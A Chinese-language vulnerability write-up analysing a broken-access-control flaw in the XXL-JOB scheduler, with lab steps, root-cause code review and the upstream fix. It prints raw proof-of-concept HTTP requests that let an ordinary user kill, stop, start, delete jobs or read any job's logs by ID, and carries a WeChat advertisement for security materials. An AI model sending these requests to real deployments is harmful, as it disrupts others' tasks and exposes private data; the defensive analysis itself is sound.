漏洞簡介
XXL-JOB是一個分佈式任務調度平台,其核心設計目標是開發迅速、學習簡單、輕量級、易擴展。現已開放源代碼並接入多家公司線上產品線,開箱即用。 這次介紹的漏洞屬於水平越權漏洞,簡單來説就是,一個沒有任何任務管理權限的用户,只要登錄了系統後,就能構造請求來操作其他人的任務。
受影響的接口包括:

XXL-JOB 的權限控制分兩層:
-
全局攔截器:通過
PermissionInterceptor檢查用户是否登錄 -
方法級註解:通過
@PermissionLimit註解控制是否需要管理員權限
問題出現於:在接口處既沒有加 @PermissionLimit 註解要求管理員權限,方法內部也沒有校驗用户對具體任務的操作權限。
漏洞驗證&分析
管理員登錄後台並創建一個無任何權限的普通用户


根據日誌id 越權停止啓動進程 logKill
根據 https://developer.aliyun.com/article/1649153?spm=a2c6h.24874632.expert-profile.57.1c5939ad7RZU4e 創建一個 XXL-JOB 執行器,屬於正常業務功能
為了方便展示效果我們配置一個 jobTest1Handler
@XxlJob("jobTest1Handler")
public void jobTest1Handler() {
try {
System.out.println("jobTest1Handler 開始執行 - " + new Date());
for (int i = 1; i <= 100000; i++) {
// 檢查線程是否被中斷
if (Thread.currentThread().isInterrupted()) {
System.out.println("任務被中斷,退出循環");
return;
}
System.out.println("jobTest1Handler - 第" + i + "次執行 - 定時任務執行時間:" + new Date());
Thread.sleep(1000);
}
System.out.println("jobTest1Handler 執行完成 - " + new Date());
} catch (InterruptedException e) {
System.err.println("任務被中斷:" + e.getMessage());
Thread.currentThread().interrupt();
}
}
管理員登錄後台後將任務部署並執行



我們看到執行器項目中已經開始執行並打印處日誌信息

此時我們登錄普通用户的賬號信息

是沒有對任務調度的任何操作權限
【----幫助網安學習,以下所有學習資料免費領!加vx:YJ-2021-1,備註 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客户端安全檢測指南(安卓+IOS)
構造數據包
GET /xxl-job-admin/joblog/logKill?id=1225 HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close

執行的任務信息被中斷

此時對應的 id 1225 是 任務 job_id 5 對應此時啓動的日誌 id

src/main/java/com/xxl/job/admin/controller/interceptor/WebMvcConfig.java

通過 WebMvcConfig 配置,PermissionInterceptor 作為全局攔截器對所有請求路徑(/**)進行攔截。
com.xxl.job.admin.controller.interceptor.PermissionInterceptor#preHandle

在 preHandle 方法中,攔截器會檢查目標方法是否標註了 @PermissionLimit 註解來決定是否需要登錄驗證和管理員權限。如果需要登錄,會調用 loginService.ifLogin() 驗證用户身份,未登錄用户會被重定向到登錄頁面;已登錄用户信息會存儲在 request 屬性中供後續使用。
com.xxl.job.admin.controller.JobLogController#logKill

在 XXL-Job 的權限體系中,如果一個接口方法沒有標註 @PermissionLimit 註解,那麼該方法會受到全局 PermissionInterceptor 的默認保護,即要求用户必須登錄(needLogin \= true)但不要求管理員權限(needAdminuser \= false)。因此 logKill 方法雖然需要登錄驗證,但任何普通登錄用户都可以訪問,這就形成了一個權限漏洞:普通用户可以終止任何任務,而不受 JobGroup 權限限制或管理員角色限制。正確的做法應該是在 logKill 方法中添加 PermissionInterceptor.validJobGroupPermission() 調用來驗證用户對特定任務組的權限,或者要求管理員權限才能執行終止操作。
根據日誌id 越權查看日誌信息 logDetailCat

是沒有對調度日誌的任何操作權限
普通用户登錄後 構造數據包
GET /xxl-job-admin/joblog/logDetailCat?logId=1225&fromLineNum=1 HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close

現在看到的,是 XXL-JOB 框架的日誌,信息量似乎不大。但是,如果這個任務的業務邏輯是這樣的:
@XxlJob("processOrderJob")
public void processOrderJob() {
// 1. 從數據庫查詢待處理訂單
Order order \= orderDao.getPendingOrder();
XxlJobHelper.log("開始處理訂單,訂單號:{}", order.getOrderId());
// 2. 調用第三方支付接口
PaymentResult result \= paymentService.process(order);
XxlJobHelper.log("支付接口返回,用户ID:{},手機號:{}", order.getUserId(), order.getPhoneNumber());
// 3. 更新訂單狀態
orderDao.updateStatus(order.getOrderId(), "SUCCESS");
XxlJobHelper.log("訂單處理完成,地址:{}", order.getAddress());
}
如果 logId\=1 對應的是這樣一個任務,那麼通過 /logDetailCat 漏洞,獲取到的 logContent 就會變成: 開始處理訂單,訂單號:202508190001 支付接口返回,用户ID:10086,手機號:13812345678 訂單處理完成,地址:上海市浦東新區xxx路xxx號
這就是這個漏洞最直接、最嚴重的危害: 無論是否有權限,都可以實時竊取到系統中任意一個任務在執行過程中打印的任何信息,其中極有可能包含用户隱私、訂單數據、內部接口參數等核心業務敏感信息。
com.xxl.job.admin.controller.JobLogController#logDetailCat

logDetailCat 方法存在權限設計缺陷。該方法沒有標註 @PermissionLimit 註解,因此只受到全局權限攔截器的默認保護,僅要求用户登錄但不驗證具體權限。這意味着任何登錄用户都可以通過傳入任意的 logId 參數來查看任何任務的執行日誌詳情,包括不屬於自己權限範圍內的 JobGroup 的任務日誌,從而可能泄露敏感的業務信息、配置參數或執行結果。正確的做法應該是在方法中添加 PermissionInterceptor.validJobGroupPermission(request, jobLog.getJobGroup()) 來驗證用户是否有權限查看該任務所屬組的日誌信息
根據任務id 越權啓動、停止、刪除任務
根據 https://developer.aliyun.com/article/1649153?spm=a2c6h.24874632.expert-profile.57.1c5939ad7RZU4e 創建一個 XXL-JOB 執行器,屬於正常業務功能
為了方便展示效果我們配置一個 jobTestHandler
@XxlJob("jobTestHandler")
public void jobTestHandler() {
System.out.println("hello World!" + "- " + "定時任務執行時間:" +new Date());
}
管理員登錄後台後將任務部署並執行




啓動成功後 執行器項目中已經開始執行並打印處日誌信息

此時我們登錄普通用户的賬號信息

是沒有對任務調度的任何操作權限
以普通用户的權限構造數據包
GET /xxl-job-admin/jobinfo/stop?id=4 HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close


每秒執行的項目停止
再構造數據包
GET /xxl-job-admin/jobinfo/start?id=4 HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close

項目重新啓動成功

構造數據包
GET /xxl-job-admin/jobinfo/remove?id=4 HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close


任務被刪除
src/main/java/com/xxl/job/admin/controller/JobInfoController.java

src/main/java/com/xxl/job/admin/service/XxlJobService.java

com.xxl.job.admin.service.impl.XxlJobServiceImpl#remove

com.xxl.job.admin.service.impl.XxlJobServiceImpl#start

com.xxl.job.admin.service.impl.XxlJobServiceImpl#stop

remove、stop 和 start 三個方法都存在相同的權限設計缺陷。這些方法均沒有標註 @PermissionLimit 註解,因此只受到全局權限攔截器的默認保護,僅要求用户登錄但不驗證具體權限。這意味着任何普通登錄用户都可以對任意定時任務執行刪除、停止或啓動操作,完全繞過了 JobGroup 權限限制。其中 remove 方法的風險最高,允許用户刪除任何任務及其相關數據;stop 和 start 方法則允許用户隨意控制任務的執行狀態,可能中斷重要業務流程或啓動危險任務。正確的做法應該是在這些方法中都添加 PermissionInterceptor.validJobGroupPermission() 調用來驗證用户對目標任務所屬組的權限,確保用户只能操作自己有權限管理的任務。
漏洞修復
修復的核心思路就是:在執行敏感操作之前,先驗證當前登錄用户是否對目標任務所屬的 JobGroup 有操作權限。
-
在 Controller 層,對 remove、stop、start 方法增加了獲取當前登錄用户的邏輯
-
在 Service 層,對接口方法增加了
XxlJobUser loginUser參數 -
在 ServiceImpl 層, 對 remove、stop、start 方法增加了權限校驗邏輯
hasPermission
https://github.com/xuxueli/xxl-job/pull/3792/commits/739d6a2483ce8f6c2a824098fbddb0f90087fba6



更多網安技能的在線實操練習,請點擊這裏>>